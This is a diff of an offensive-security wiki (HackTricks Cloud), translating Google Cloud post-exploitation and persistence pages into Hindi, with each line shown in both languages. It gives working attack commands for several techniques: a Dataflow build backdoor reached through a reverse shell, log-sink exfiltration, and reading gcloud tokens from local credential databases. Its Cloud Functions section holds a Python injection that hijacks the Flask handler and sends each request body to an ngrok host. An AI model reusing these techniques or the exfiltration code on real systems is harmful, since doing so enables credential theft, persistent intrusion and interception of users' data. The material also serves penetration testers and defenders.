**जब यह बन रहा है, आपको एक रिवर्स शेल मिलेगा** (आप पिछले उदाहरण की तरह env वेरिएबल्स या अन्य पैरामीटर्स का दुरुपयोग कर सकते हैं जो Docker फ़ाइल को मनमाने चीजें निष्पादित करने के लिए सेट करते हैं)। इस क्षण में, रिवर्स शेल के अंदर, **`/template` निर्देशिका में जाना और मुख्य पायथन स्क्रिप्ट के कोड को संशोधित करना संभव है जो निष्पादित किया जाएगा (हमारे उदाहरण में यह `getting_started.py` है)**। यहाँ अपना बैकडोर सेट करें ताकि हर बार जब कार्य निष्पादित हो, यह इसे निष्पादित करे।
|
||||
|
||||
**While it's building, you will get a reverse shell** (you could abuse env variables like in the previous example or other params that sets the Docker file to execute arbitrary things). In this moment, inside the reverse shell, it's possible to **go to the `/template` directory and modify the code of the main python script that will be executed (in our example this is `getting_started.py`)**. Set your backdoor here so everytime the job is executed, it'll execute it.
|
||||
|
||||
Then, next time the job is executed, the compromised container built will be run:
|
||||
|
||||
फिर, अगली बार जब कार्य निष्पादित होगा, तो समझौता किया गया कंटेनर चलाया जाएगा:
|
||||
```bash
|
||||
# Run template
|
||||
gcloud dataflow $NAME_TEMPLATE run testing \
|
||||
--template-file-gcs-location="gs://$NAME_ARTIFACT/getting_started-py.json" \
|
||||
--parameters=output="gs://$REPOSITORY/out" \
|
||||
--region=us-central1
|
||||
--template-file-gcs-location="gs://$NAME_ARTIFACT/getting_started-py.json" \
|
||||
--parameters=output="gs://$REPOSITORY/out" \
|
||||
--region=us-central1
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,22 +4,18 @@
|
||||
|
||||
## Filestore
|
||||
|
||||
For more information about Filestore check:
|
||||
Filestore के बारे में अधिक जानकारी के लिए देखें:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-filestore-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Give broader access and privileges over a mount
|
||||
### एक माउंट पर व्यापक पहुंच और विशेषाधिकार दें
|
||||
|
||||
An attacker could **give himself more privileges and ease the access** to the share in order to maintain persistence over the share, find how to perform this actions in this page:
|
||||
एक हमलावर **अपने लिए अधिक विशेषाधिकार दे सकता है और साझा करने की पहुंच को आसान बना सकता है** ताकि साझा पर निरंतरता बनाए रखी जा सके, इन क्रियाओं को करने का तरीका इस पृष्ठ पर खोजें:
|
||||
|
||||
{{#ref}}
|
||||
gcp-filestore-persistence.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## Logging
|
||||
|
||||
Find more information about Logging in:
|
||||
Logging के बारे में अधिक जानकारी प्राप्त करें:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-logging-enum.md
|
||||
@@ -12,14 +12,8 @@ Find more information about Logging in:
|
||||
|
||||
### `logging.sinks.create`
|
||||
|
||||
Create a sink to exfiltrate the logs to an attackers accessible destination:
|
||||
|
||||
एक सिंक बनाएं ताकि लॉग को हमलावर की पहुंच योग्य गंतव्य पर एक्सफिल्ट्रेट किया जा सके:
|
||||
```bash
|
||||
gcloud logging sinks create <sink-name> <destination> --log-filter="FILTER_CONDITION"
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -2,73 +2,60 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
### Authenticated User Tokens
|
||||
|
||||
To get the **current token** of a user you can run:
|
||||
### प्रमाणित उपयोगकर्ता टोकन
|
||||
|
||||
किसी उपयोगकर्ता का **वर्तमान टोकन** प्राप्त करने के लिए आप चला सकते हैं:
|
||||
```bash
|
||||
sqlite3 $HOME/.config/gcloud/access_tokens.db "select access_token from access_tokens where account_id='<email>';"
|
||||
```
|
||||
|
||||
Check in this page how to **directly use this token using gcloud**:
|
||||
इस पृष्ठ पर देखें कि **gcloud का उपयोग करके इस टोकन का सीधे उपयोग कैसे करें**:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf#id-6440-1
|
||||
{{#endref}}
|
||||
|
||||
To get the details to **generate a new access token** run:
|
||||
|
||||
**नया एक्सेस टोकन उत्पन्न करने** के लिए विवरण प्राप्त करने के लिए चलाएँ:
|
||||
```bash
|
||||
sqlite3 $HOME/.config/gcloud/credentials.db "select value from credentials where account_id='<email>';"
|
||||
```
|
||||
यह **`$HOME/.config/gcloud/application_default_credentials.json`** और **`$HOME/.config/gcloud/legacy_credentials/*/adc.json`** में रिफ्रेश टोकन खोजने के लिए भी संभव है।
|
||||
|
||||
It's also possible to find refresh tokens in **`$HOME/.config/gcloud/application_default_credentials.json`** and in **`$HOME/.config/gcloud/legacy_credentials/*/adc.json`**.
|
||||
|
||||
To get a new refreshed access token with the **refresh token**, client ID, and client secret run:
|
||||
|
||||
नए रिफ्रेश किए गए एक्सेस टोकन को **रिफ्रेश टोकन**, क्लाइंट आईडी, और क्लाइंट सीक्रेट के साथ प्राप्त करने के लिए चलाएँ:
|
||||
```bash
|
||||
curl -s --data client_id=<client_id> --data client_secret=<client_secret> --data grant_type=refresh_token --data refresh_token=<refresh_token> --data scope="https://www.googleapis.com/auth/cloud-platform https://www.googleapis.com/auth/accounts.reauth" https://www.googleapis.com/oauth2/v4/token
|
||||
```
|
||||
|
||||
The refresh tokens validity can be managed in **Admin** > **Security** > **Google Cloud session control**, and by default it's set to 16h although it can be set to never expire:
|
||||
**Admin** > **Security** > **Google Cloud सत्र नियंत्रण** में रिफ्रेश टोकन की वैधता को प्रबंधित किया जा सकता है, और डिफ़ॉल्ट रूप से इसे 16 घंटे पर सेट किया गया है, हालांकि इसे कभी समाप्त न होने के लिए सेट किया जा सकता है:
|
||||
|
||||
<figure><img src="../../../images/image (11).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Auth flow
|
||||
|
||||
The authentication flow when using something like `gcloud auth login` will open a prompt in the browser and after accepting all the scopes the browser will send a request such as this one to the http port open by the tool:
|
||||
|
||||
जब `gcloud auth login` जैसे कुछ का उपयोग करते समय प्रमाणीकरण प्रवाह एक ब्राउज़र में एक प्रॉम्प्ट खोलेगा और सभी स्कोप को स्वीकार करने के बाद ब्राउज़र इस तरह का एक अनुरोध उपकरण द्वारा खोले गए http पोर्ट पर भेजेगा:
|
||||
```
|
||||
/?state=EN5AK1GxwrEKgKog9ANBm0qDwWByYO&code=4/0AeaYSHCllDzZCAt2IlNWjMHqr4XKOuNuhOL-TM541gv-F6WOUsbwXiUgMYvo4Fg0NGzV9A&scope=email%20openid%20https://www.googleapis.com/auth/userinfo.email%20https://www.googleapis.com/auth/cloud-platform%20https://www.googleapis.com/auth/appengine.admin%20https://www.googleapis.com/auth/sqlservice.login%20https://www.googleapis.com/auth/compute%20https://www.googleapis.com/auth/accounts.reauth&authuser=0&prompt=consent HTTP/1.1
|
||||
```
|
||||
|
||||
Then, gcloud will use the state and code with a some hardcoded `client_id` (`32555940559.apps.googleusercontent.com`) and **`client_secret`** (`ZmssLNjJy2998hD4CTg2ejr2`) to get the **final refresh token data**.
|
||||
फिर, gcloud एक कुछ हार्डकोडेड `client_id` (`32555940559.apps.googleusercontent.com`) और **`client_secret`** (`ZmssLNjJy2998hD4CTg2ejr2`) के साथ स्थिति और कोड का उपयोग करके **अंतिम रिफ्रेश टोकन डेटा** प्राप्त करेगा।
|
||||
|
||||
> [!CAUTION]
|
||||
> Note that the communication with localhost is in HTTP, so it it's possible to intercept the data to get a refresh token, however this data is valid just 1 time, so this would be useless, it's easier to just read the refresh token from the file.
|
||||
> ध्यान दें कि localhost के साथ संचार HTTP में है, इसलिए डेटा को इंटरसेप्ट करना संभव है ताकि एक रिफ्रेश टोकन प्राप्त किया जा सके, हालाँकि यह डेटा केवल 1 बार के लिए मान्य है, इसलिए यह बेकार होगा, इसे फ़ाइल से रिफ्रेश टोकन पढ़ना आसान है।
|
||||
|
||||
### OAuth Scopes
|
||||
|
||||
You can find all Google scopes in [https://developers.google.com/identity/protocols/oauth2/scopes](https://developers.google.com/identity/protocols/oauth2/scopes) or get them executing:
|
||||
|
||||
आप सभी Google स्कोप [https://developers.google.com/identity/protocols/oauth2/scopes](https://developers.google.com/identity/protocols/oauth2/scopes) पर पा सकते हैं या उन्हें निष्पादित करके प्राप्त कर सकते हैं:
|
||||
```bash
|
||||
curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-A/\-\._]*' | sort -u
|
||||
```
|
||||
|
||||
It's possible to see which scopes the application that **`gcloud`** uses to authenticate can support with this script:
|
||||
|
||||
यह स्क्रिप्ट यह देखने की अनुमति देती है कि **`gcloud`** द्वारा प्रमाणीकरण के लिए उपयोग किया जाने वाला एप्लिकेशन कौन से स्कोप का समर्थन कर सकता है:
|
||||
```bash
|
||||
curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-Z/\._\-]*' | sort -u | while read -r scope; do
|
||||
echo -ne "Testing $scope \r"
|
||||
if ! curl -v "https://accounts.google.com/o/oauth2/auth?response_type=code&client_id=32555940559.apps.googleusercontent.com&redirect_uri=http%3A%2F%2Flocalhost%3A8085%2F&scope=openid+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fuserinfo.email+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcloud-platform+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fappengine.admin+$scope+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fsqlservice.login+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcompute+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Faccounts.reauth&state=AjvFqBW5XNIw3VADagy5pvUSPraLQu&access_type=offline&code_challenge=IOk5F08WLn5xYPGRAHP9CTGHbLFDUElsP551ni2leN4&code_challenge_method=S256" 2>&1 | grep -q "error"; then
|
||||
echo ""
|
||||
echo $scope
|
||||
fi
|
||||
echo -ne "Testing $scope \r"
|
||||
if ! curl -v "https://accounts.google.com/o/oauth2/auth?response_type=code&client_id=32555940559.apps.googleusercontent.com&redirect_uri=http%3A%2F%2Flocalhost%3A8085%2F&scope=openid+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fuserinfo.email+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcloud-platform+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fappengine.admin+$scope+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fsqlservice.login+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcompute+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Faccounts.reauth&state=AjvFqBW5XNIw3VADagy5pvUSPraLQu&access_type=offline&code_challenge=IOk5F08WLn5xYPGRAHP9CTGHbLFDUElsP551ni2leN4&code_challenge_method=S256" 2>&1 | grep -q "error"; then
|
||||
echo ""
|
||||
echo $scope
|
||||
fi
|
||||
done
|
||||
```
|
||||
|
||||
After executing it it was checked that this app supports these scopes:
|
||||
|
||||
इसके निष्पादन के बाद यह जांचा गया कि यह ऐप इन स्कोप का समर्थन करता है:
|
||||
```
|
||||
https://www.googleapis.com/auth/appengine.admin
|
||||
https://www.googleapis.com/auth/bigquery
|
||||
@@ -78,31 +65,26 @@ https://www.googleapis.com/auth/devstorage.full_control
|
||||
https://www.googleapis.com/auth/drive
|
||||
https://www.googleapis.com/auth/userinfo.email
|
||||
```
|
||||
यह देखना दिलचस्प है कि यह ऐप **`drive`** स्कोप का समर्थन करता है, जो एक उपयोगकर्ता को GCP से Workspace में बढ़ाने की अनुमति दे सकता है यदि एक हमलावर उपयोगकर्ता को इस स्कोप के साथ एक टोकन उत्पन्न करने के लिए मजबूर करने में सफल हो जाता है।
|
||||
|
||||
it's interesting to see how this app supports the **`drive`** scope, which could allow a user to escalate from GCP to Workspace if an attacker manages to force the user to generate a token with this scope.
|
||||
**यहां देखें कि कैसे** [**इसका दुरुपयोग करें**](../gcp-to-workspace-pivoting/#abusing-gcloud)**।**
|
||||
|
||||
**Check how to** [**abuse this here**](../gcp-to-workspace-pivoting/#abusing-gcloud)**.**
|
||||
### सेवा खाते
|
||||
|
||||
### Service Accounts
|
||||
जैसे कि प्रमाणित उपयोगकर्ताओं के साथ, यदि आप एक सेवा खाते की **निजी कुंजी फ़ाइल को समझौता** करने में सफल होते हैं, तो आप इसे **आम तौर पर जितना चाहें उतना एक्सेस कर सकेंगे**।\
|
||||
हालांकि, यदि आप एक सेवा खाते का **OAuth टोकन** चुरा लेते हैं, तो यह और भी दिलचस्प हो सकता है, क्योंकि, भले ही डिफ़ॉल्ट रूप से ये टोकन केवल एक घंटे के लिए उपयोगी होते हैं, यदि **शिकारकर्ता निजी एपीआई कुंजी को हटा देता है, तो OAuh टोकन तब भी मान्य रहेगा जब तक कि यह समाप्त नहीं हो जाता**।
|
||||
|
||||
Just like with authenticated users, if you manage to **compromise the private key file** of a service account you will be able to **access it usually as long as you want**.\
|
||||
However, if you steal the **OAuth token** of a service account this can be even more interesting, because, even if by default these tokens are useful just for an hour, if the **victim deletes the private api key, the OAuh token will still be valid until it expires**.
|
||||
### मेटाडेटा
|
||||
|
||||
### Metadata
|
||||
स्पष्ट रूप से, जब तक आप GCP वातावरण में चल रही मशीन के अंदर हैं, आप उस मशीन से जुड़े सेवा खाते को **मेटाडेटा एंडपॉइंट से संपर्क करके एक्सेस कर सकेंगे** (ध्यान दें कि इस एंडपॉइंट में आप जो Oauth टोकन एक्सेस कर सकते हैं, वे आमतौर पर स्कोप द्वारा प्रतिबंधित होते हैं)।
|
||||
|
||||
Obviously, as long as you are inside a machine running in the GCP environment you will be able to **access the service account attached to that machine contacting the metadata endpoint** (note that the Oauth tokens you can access in this endpoint are usually restricted by scopes).
|
||||
### सुधार
|
||||
|
||||
### Remediations
|
||||
इन तकनीकों के लिए कुछ सुधार [https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2](https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2) में समझाए गए हैं।
|
||||
|
||||
Some remediations for these techniques are explained in [https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2](https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2)
|
||||
|
||||
### References
|
||||
### संदर्भ
|
||||
|
||||
- [https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-1](https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-1)
|
||||
- [https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2](https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
+6
-10
@@ -4,7 +4,7 @@
|
||||
|
||||
## Secret Manager
|
||||
|
||||
Find more information about Secret Manager in:
|
||||
Secret Manager के बारे में अधिक जानकारी प्राप्त करें:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-secrets-manager-enum.md
|
||||
@@ -12,15 +12,11 @@ Find more information about Secret Manager in:
|
||||
|
||||
### Rotation misuse
|
||||
|
||||
An attacker could update the secret to:
|
||||
एक हमलावर गुप्त को अपडेट कर सकता है:
|
||||
|
||||
- **Stop rotations** so the secret won't be modified
|
||||
- **Make rotations much less often** so the secret won't be modified
|
||||
- **Publish the rotation message to a different pub/sub**
|
||||
- **Modify the rotation code being executed.** This happens in a different service, probably in a Cloud Function, so the attacker will need privileged access over the Cloud Function or any other service.
|
||||
- **Rotations को रोकें** ताकि गुप्त को संशोधित न किया जा सके
|
||||
- **Rotations को बहुत कम बार करें** ताकि गुप्त को संशोधित न किया जा सके
|
||||
- **Rotation संदेश को एक अलग pub/sub पर प्रकाशित करें**
|
||||
- **क्रियान्वित हो रहे rotation कोड को संशोधित करें।** यह एक अलग सेवा में होता है, शायद एक Cloud Function में, इसलिए हमलावर को Cloud Function या किसी अन्य सेवा पर विशेषाधिकार प्राप्त पहुंच की आवश्यकता होगी।
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## Storage
|
||||
|
||||
For more information about Cloud Storage check:
|
||||
Cloud Storage के बारे में अधिक जानकारी के लिए देखें:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-storage-enum.md
|
||||
@@ -12,8 +12,7 @@ For more information about Cloud Storage check:
|
||||
|
||||
### `storage.hmacKeys.create`
|
||||
|
||||
You can create an HMAC to maintain persistence over a bucket. For more information about this technique [**check it here**](../gcp-privilege-escalation/gcp-storage-privesc.md#storage.hmackeys.create).
|
||||
|
||||
आप एक HMAC बना सकते हैं ताकि एक बकेट पर स्थायीता बनाए रखी जा सके। इस तकनीक के बारे में अधिक जानकारी के लिए [**यहाँ देखें**](../gcp-privilege-escalation/gcp-storage-privesc.md#storage.hmackeys.create).
|
||||
```bash
|
||||
# Create key
|
||||
gsutil hmac create <sa-email>
|
||||
@@ -24,19 +23,14 @@ gsutil config -a
|
||||
# Use it
|
||||
gsutil ls gs://[BUCKET_NAME]
|
||||
```
|
||||
|
||||
Another exploit script for this method can be found [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/storage.hmacKeys.create.py).
|
||||
|
||||
### Give Public Access
|
||||
### सार्वजनिक पहुँच दें
|
||||
|
||||
**Making a bucket publicly accessible** is another way to maintain access over the bucket. Check how to do it in:
|
||||
**एक बकेट को सार्वजनिक रूप से सुलभ बनाना** बकेट पर पहुँच बनाए रखने का एक और तरीका है। इसे कैसे करना है, देखें:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-post-exploitation/gcp-storage-post-exploitation.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,6 +1 @@
|
||||
# GCP - Post Exploitation
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
# GCP - पोस्ट एक्सप्लोइटेशन
|
||||
|
||||
+11
-17
@@ -4,7 +4,7 @@
|
||||
|
||||
## `App Engine`
|
||||
|
||||
For information about App Engine check:
|
||||
App Engine के बारे में जानकारी के लिए देखें:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-app-engine-enum.md
|
||||
@@ -12,36 +12,30 @@ For information about App Engine check:
|
||||
|
||||
### `appengine.memcache.addKey` | `appengine.memcache.list` | `appengine.memcache.getKey` | `appengine.memcache.flush`
|
||||
|
||||
With these permissions it's possible to:
|
||||
इन अनुमतियों के साथ यह संभव है:
|
||||
|
||||
- Add a key
|
||||
- List keys
|
||||
- Get a key
|
||||
- Delete
|
||||
- एक कुंजी जोड़ें
|
||||
- कुंजियों की सूची बनाएं
|
||||
- एक कुंजी प्राप्त करें
|
||||
- हटाएं
|
||||
|
||||
> [!CAUTION]
|
||||
> However, I **couldn't find any way to access this information from the cli**, only from the **web console** where you need to know the **Key type** and the **Key name**, of from the a**pp engine running app**.
|
||||
> हालाँकि, मैं **cli से इस जानकारी तक पहुँचने का कोई तरीका नहीं ढूंढ सका**, केवल **वेब कंसोल** से जहाँ आपको **कुंजी प्रकार** और **कुंजी नाम** जानना आवश्यक है, या एक **app engine चलाने वाले ऐप** से।
|
||||
>
|
||||
> If you know easier ways to use these permissions send a Pull Request!
|
||||
> यदि आप इन अनुमतियों का उपयोग करने के लिए आसान तरीके जानते हैं तो एक पुल अनुरोध भेजें!
|
||||
|
||||
### `logging.views.access`
|
||||
|
||||
With this permission it's possible to **see the logs of the App**:
|
||||
|
||||
इस अनुमति के साथ यह संभव है कि **ऐप के लॉग देखें**:
|
||||
```bash
|
||||
gcloud app logs tail -s <name>
|
||||
```
|
||||
|
||||
### Read Source Code
|
||||
|
||||
The source code of all the versions and services are **stored in the bucket** with the name **`staging.<proj-id>.appspot.com`**. If you have write access over it you can read the source code and search for **vulnerabilities** and **sensitive information**.
|
||||
सभी संस्करणों और सेवाओं का स्रोत कोड **बकेट में संग्रहीत** है जिसका नाम **`staging.<proj-id>.appspot.com`** है। यदि आपके पास इसके ऊपर लिखने की अनुमति है, तो आप स्रोत कोड पढ़ सकते हैं और **vulnerabilities** और **sensitive information** के लिए खोज कर सकते हैं।
|
||||
|
||||
### Modify Source Code
|
||||
|
||||
Modify source code to steal credentials if they are being sent or perform a defacement web attack.
|
||||
क्रेडेंशियल्स चुराने के लिए स्रोत कोड को संशोधित करें यदि वे भेजे जा रहे हैं या एक डिफेसमेंट वेब हमले को अंजाम दें।
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
+5
-9
@@ -1,25 +1,21 @@
|
||||
# GCP - Artifact Registry Post Exploitation
|
||||
# GCP - आर्टिफैक्ट रजिस्ट्री पोस्ट एक्सप्लॉइटेशन
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Artifact Registry
|
||||
## आर्टिफैक्ट रजिस्ट्री
|
||||
|
||||
For more information about Artifact Registry check:
|
||||
आर्टिफैक्ट रजिस्ट्री के बारे में अधिक जानकारी के लिए देखें:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-artifact-registry-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Privesc
|
||||
### प्रिवेस्क
|
||||
|
||||
The Post Exploitation and Privesc techniques of Artifact Registry were mixed in:
|
||||
आर्टिफैक्ट रजिस्ट्री की पोस्ट एक्सप्लॉइटेशन और प्रिवेस्क तकनीकें मिश्रित थीं:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-privilege-escalation/gcp-artifact-registry-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
+9
-15
@@ -4,7 +4,7 @@
|
||||
|
||||
## Cloud Build
|
||||
|
||||
For more information about Cloud Build check:
|
||||
Cloud Build के बारे में अधिक जानकारी के लिए देखें:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-cloud-build-enum.md
|
||||
@@ -12,22 +12,16 @@ For more information about Cloud Build check:
|
||||
|
||||
### `cloudbuild.builds.approve`
|
||||
|
||||
With this permission you can approve the execution of a **codebuild that require approvals**.
|
||||
|
||||
इस अनुमति के साथ आप **कोडबिल्ड जो अनुमतियों की आवश्यकता है** के निष्पादन को मंजूरी दे सकते हैं।
|
||||
```bash
|
||||
# Check the REST API in https://cloud.google.com/build/docs/api/reference/rest/v1/projects.locations.builds/approve
|
||||
curl -X POST \
|
||||
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{{
|
||||
"approvalResult": {
|
||||
object (ApprovalResult)
|
||||
}}' \
|
||||
"https://cloudbuild.googleapis.com/v1/projects/<PROJECT_ID>/locations/<LOCATION>/builds/<BUILD_ID>:approve"
|
||||
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{{
|
||||
"approvalResult": {
|
||||
object (ApprovalResult)
|
||||
}}' \
|
||||
"https://cloudbuild.googleapis.com/v1/projects/<PROJECT_ID>/locations/<LOCATION>/builds/<BUILD_ID>:approve"
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
+71
-77
@@ -4,7 +4,7 @@
|
||||
|
||||
## Cloud Functions
|
||||
|
||||
Find some information about Cloud Functions in:
|
||||
Cloud Functions के बारे में कुछ जानकारी प्राप्त करें:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-cloud-functions-enum.md
|
||||
@@ -12,23 +12,20 @@ Find some information about Cloud Functions in:
|
||||
|
||||
### `cloudfunctions.functions.sourceCodeGet`
|
||||
|
||||
With this permission you can get a **signed URL to be able to download the source code** of the Cloud Function:
|
||||
|
||||
इस अनुमति के साथ आप **Cloud Function के स्रोत कोड को डाउनलोड करने के लिए एक साइन किया हुआ URL प्राप्त कर सकते हैं**:
|
||||
```bash
|
||||
curl -X POST https://cloudfunctions.googleapis.com/v2/projects/{project-id}/locations/{location}/functions/{function-name}:generateDownloadUrl \
|
||||
-H "Authorization: Bearer $(gcloud auth application-default print-access-token)" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{}'
|
||||
```
|
||||
### क्लाउड फ़ंक्शन अनुरोध चुराना
|
||||
|
||||
### Steal Cloud Function Requests
|
||||
यदि क्लाउड फ़ंक्शन संवेदनशील जानकारी का प्रबंधन कर रहा है जो उपयोगकर्ता भेज रहे हैं (जैसे पासवर्ड या टोकन), तो पर्याप्त विशेषाधिकार के साथ आप **फ़ंक्शन के स्रोत कोड को संशोधित कर सकते हैं और इस जानकारी को निकाल सकते हैं**।
|
||||
|
||||
If the Cloud Function is managing sensitive information that users are sending (e.g. passwords or tokens), with enough privileges you could **modify the source code of the function and exfiltrate** this information.
|
||||
|
||||
Moreover, Cloud Functions running in python use **flask** to expose the web server, if you somehow find a code injection vulnerability inside the flaks process (a SSTI vulnerability for example), it's possible to **override the function handler** that is going to receive the HTTP requests for a **malicious function** that can **exfiltrate the request** before passing it to the legit handler.
|
||||
|
||||
For example this code implements the attack:
|
||||
इसके अलावा, पायथन में चलने वाले क्लाउड फ़ंक्शन **फ्लास्क** का उपयोग करते हैं ताकि वेब सर्वर को उजागर किया जा सके, यदि आप किसी तरह फ्लास्क प्रक्रिया के अंदर कोड इंजेक्शन की भेद्यता (उदाहरण के लिए SSTI भेद्यता) खोज लेते हैं, तो यह संभव है कि आप **फ़ंक्शन हैंडलर को ओवरराइड कर सकें** जो HTTP अनुरोध प्राप्त करने जा रहा है एक **दुष्ट फ़ंक्शन** के लिए जो **अनुरोध को निकाल सकता है** इससे पहले कि इसे वैध हैंडलर को सौंपा जाए।
|
||||
|
||||
उदाहरण के लिए, यह कोड हमले को लागू करता है:
|
||||
```python
|
||||
import functions_framework
|
||||
|
||||
@@ -36,23 +33,23 @@ import functions_framework
|
||||
# Some python handler code
|
||||
@functions_framework.http
|
||||
def hello_http(request, last=False, error=""):
|
||||
"""HTTP Cloud Function.
|
||||
Args:
|
||||
request (flask.Request): The request object.
|
||||
<https://flask.palletsprojects.com/en/1.1.x/api/#incoming-request-data>
|
||||
Returns:
|
||||
The response text, or any set of values that can be turned into a
|
||||
Response object using `make_response`
|
||||
<https://flask.palletsprojects.com/en/1.1.x/api/#flask.make_response>.
|
||||
"""
|
||||
"""HTTP Cloud Function.
|
||||
Args:
|
||||
request (flask.Request): The request object.
|
||||
<https://flask.palletsprojects.com/en/1.1.x/api/#incoming-request-data>
|
||||
Returns:
|
||||
The response text, or any set of values that can be turned into a
|
||||
Response object using `make_response`
|
||||
<https://flask.palletsprojects.com/en/1.1.x/api/#flask.make_response>.
|
||||
"""
|
||||
|
||||
if not last:
|
||||
return injection()
|
||||
else:
|
||||
if error:
|
||||
return error
|
||||
else:
|
||||
return "Hello World!"
|
||||
if not last:
|
||||
return injection()
|
||||
else:
|
||||
if error:
|
||||
return error
|
||||
else:
|
||||
return "Hello World!"
|
||||
|
||||
|
||||
|
||||
@@ -61,72 +58,69 @@ def hello_http(request, last=False, error=""):
|
||||
|
||||
new_function = """
|
||||
def exfiltrate(request):
|
||||
try:
|
||||
from urllib import request as urllib_request
|
||||
req = urllib_request.Request("https://8b01-81-33-67-85.ngrok-free.app", data=bytes(str(request._get_current_object().get_data()), "utf-8"), method="POST")
|
||||
urllib_request.urlopen(req, timeout=0.1)
|
||||
except Exception as e:
|
||||
if not "read operation timed out" in str(e):
|
||||
return str(e)
|
||||
try:
|
||||
from urllib import request as urllib_request
|
||||
req = urllib_request.Request("https://8b01-81-33-67-85.ngrok-free.app", data=bytes(str(request._get_current_object().get_data()), "utf-8"), method="POST")
|
||||
urllib_request.urlopen(req, timeout=0.1)
|
||||
except Exception as e:
|
||||
if not "read operation timed out" in str(e):
|
||||
return str(e)
|
||||
|
||||
return ""
|
||||
return ""
|
||||
|
||||
def new_http_view_func_wrapper(function, request):
|
||||
def view_func(path):
|
||||
try:
|
||||
error = exfiltrate(request)
|
||||
return function(request._get_current_object(), last=True, error=error)
|
||||
except Exception as e:
|
||||
return str(e)
|
||||
def view_func(path):
|
||||
try:
|
||||
error = exfiltrate(request)
|
||||
return function(request._get_current_object(), last=True, error=error)
|
||||
except Exception as e:
|
||||
return str(e)
|
||||
|
||||
return view_func
|
||||
return view_func
|
||||
"""
|
||||
|
||||
def injection():
|
||||
global new_function
|
||||
try:
|
||||
from flask import current_app as app
|
||||
import flask
|
||||
import os
|
||||
import importlib
|
||||
import sys
|
||||
global new_function
|
||||
try:
|
||||
from flask import current_app as app
|
||||
import flask
|
||||
import os
|
||||
import importlib
|
||||
import sys
|
||||
|
||||
if os.access('/tmp', os.W_OK):
|
||||
new_function_path = "/tmp/function.py"
|
||||
with open(new_function_path, "w") as f:
|
||||
f.write(new_function)
|
||||
os.chmod(new_function_path, 0o777)
|
||||
if os.access('/tmp', os.W_OK):
|
||||
new_function_path = "/tmp/function.py"
|
||||
with open(new_function_path, "w") as f:
|
||||
f.write(new_function)
|
||||
os.chmod(new_function_path, 0o777)
|
||||
|
||||
if not os.path.exists('/tmp/function.py'):
|
||||
return "/tmp/function.py doesn't exists"
|
||||
